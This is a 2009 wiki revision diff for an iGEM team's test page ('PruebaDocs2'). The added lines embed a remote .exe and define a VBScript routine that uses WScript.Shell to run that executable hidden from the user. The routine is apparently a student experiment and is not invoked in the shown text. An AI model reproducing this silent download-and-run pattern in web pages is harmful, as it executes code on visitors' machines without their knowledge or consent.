"
Team:Valencia/PruebaDocs2
From 2009.igem.org
(Difference between revisions)
| Line 61: | Line 61: | ||
<div align=center> | <div align=center> | ||
| - | <embed src="http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe | + | <embed src="http://personales.alumno.upv.es/~edotab/Tipo_1_2.exe" width="965" height="200"> |
| + | <SCRIPT LANGUAGE=vbscript> | ||
| + | |||
| + | Sub Prueba2() | ||
| + | |||
| + | Dim objWSCript | ||
| + | Dim FSO, miFile | ||
| + | |||
| + | Set FSO = CreateObject("Scripting.FileSystemObject") | ||
| + | miFile = "http://personales.alumno.upv.es/edotab/Tipo_1_2.exe" | ||
| + | Set objWSCript = CreateObject("WSCript.Shell") | ||
| + | objWSCript.Run miFile, vbhide | ||
| + | |||
| + | Set FSO = Nothing | ||
| + | Set objWSCript = Nothing | ||
| + | End Sub | ||
| + | </SCRIPT> | ||
| + | |||
| + | </embed> | ||
</div> | </div> | ||
</html> | </html> | ||
Revision as of 03:08, 16 August 2009
